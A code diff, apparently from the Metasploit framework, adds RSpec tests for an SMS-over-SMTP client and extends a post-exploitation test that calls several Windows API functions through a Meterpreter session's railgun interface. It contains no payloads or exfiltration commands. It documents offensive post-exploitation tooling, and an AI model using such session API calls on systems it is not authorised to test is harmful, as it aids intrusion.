||||
end
|
|
@ -0,0 +1,53 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/sms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Sms::Client do
|
||||
|
||||
let(:phone_numbers) { ['1112223333'] }
|
||||
|
||||
let(:message) { 'message' }
|
||||
|
||||
let(:carrier) { :verizon }
|
||||
|
||||
let(:smtp_server) {
|
||||
Rex::Proto::Sms::Model::Smtp.new(
|
||||
address: 'example.com',
|
||||
port: 25,
|
||||
username: 'username',
|
||||
password: 'password'
|
||||
)
|
||||
}
|
||||
|
||||
subject do
|
||||
Rex::Proto::Sms::Client.new(
|
||||
carrier: carrier,
|
||||
smtp_server: smtp_server
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets carrier' do
|
||||
expect(subject.carrier).to eq(carrier)
|
||||
end
|
||||
|
||||
it 'sets smtp server' do
|
||||
expect(subject.smtp_server).to eq(smtp_server)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#send_text_to_phones' do
|
||||
before(:each) do
|
||||
smtp = Net::SMTP.new(smtp_server.address, smtp_server.port)
|
||||
allow(smtp).to receive(:start).and_yield
|
||||
allow(smtp).to receive(:send_message) { |args| @sent_message = args }
|
||||
allow(Net::SMTP).to receive(:new).and_return(smtp)
|
||||
end
|
||||
|
||||
it 'sends a text message' do
|
||||
subject.send_text_to_phones(phone_numbers, message)
|
||||
expect(@sent_message).to eq(message)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,57 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/sms/model'
|
||||
|
||||
RSpec.describe Rex::Proto::Sms::Model::Smtp do
|
||||
|
||||
let(:address) { 'example.com' }
|
||||
let(:port) { 25 }
|
||||
let(:username) { 'username' }
|
||||
let(:password) { 'password' }
|
||||
let(:login_type) { :login }
|
||||
let(:from) { 'from' }
|
||||
let(:helo_domain) { 'example.com'}
|
||||
|
||||
subject do
|
||||
Rex::Proto::Sms::Model::Smtp.new(
|
||||
address: address,
|
||||
port: port,
|
||||
username: username,
|
||||
password: password,
|
||||
login_type: login_type,
|
||||
from: from,
|
||||
helo_domain: helo_domain
|
||||
)
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
it 'sets address' do
|
||||
expect(subject.address).to eq(address)
|
||||
end
|
||||
|
||||
it 'sets port' do
|
||||
expect(subject.port).to eq(port)
|
||||
end
|
||||
|
||||
it 'sets username' do
|
||||
expect(subject.username).to eq(username)
|
||||
end
|
||||
|
||||
it 'sets password' do
|
||||
expect(subject.password).to eq(password)
|
||||
end
|
||||
|
||||
it 'sets login_type' do
|
||||
expect(subject.login_type).to eq(login_type)
|
||||
end
|
||||
|
||||
it 'sets from' do
|
||||
expect(subject.from).to eq(from)
|
||||
end
|
||||
|
||||
it 'sets helo domain' do
|
||||
expect(subject.helo_domain).to eq(helo_domain)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -21,7 +21,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
def test_api_function_calls
|
||||
|
||||
it "Results should include error information" do
|
||||
it "Should include error information in the results" do
|
||||
ret = true
|
||||
result = session.railgun.kernel32.GetCurrentProcess()
|
||||
ret &&= result['GetLastError'] == 0
|
||||
|
@ -51,6 +51,25 @@ class MetasploitModule < Msf::Post
|
|||
ret &&= result['nSize'].to_i == result['ComputerName'].length
|
||||
end
|
||||
|
||||
it "Should support calling multiple functions at once" do
|
||||
ret = true
|
||||
multi_rail = [
|
||||
['kernel32', 'LoadLibraryA', ['kernel32.dll']],
|
||||
['kernel32', 'GetModuleHandleA', ['kernel32.dll']],
|
||||
['kernel32', 'GetCurrentProcessId', []]
|
||||
]
|
||||
results = session.railgun.multi(multi_rail)
|
||||
ret &&= results.length == multi_rail.length
|
||||
results.each do |result|
|
||||
ret &&= result['GetLastError'] == 0
|
||||
ret &&= result['return'] != 0
|
||||
end
|
||||
|
||||
# LoadLibraryA('kernel32.dll') == GetModuleHandleA('kernel32.dll')
|
||||
ret &&= results[0]['return'] == results[1]['return']
|
||||
ret &&= results[2]['return'] == session.sys.process.getpid
|
||||
end
|
||||
|
||||
it "Should support reading memory" do
|
||||
ret = true
|
||||
result = client.railgun.kernel32.GetModuleHandleA('kernel32')
|
||||
|
|
Loading…
Reference in New Issue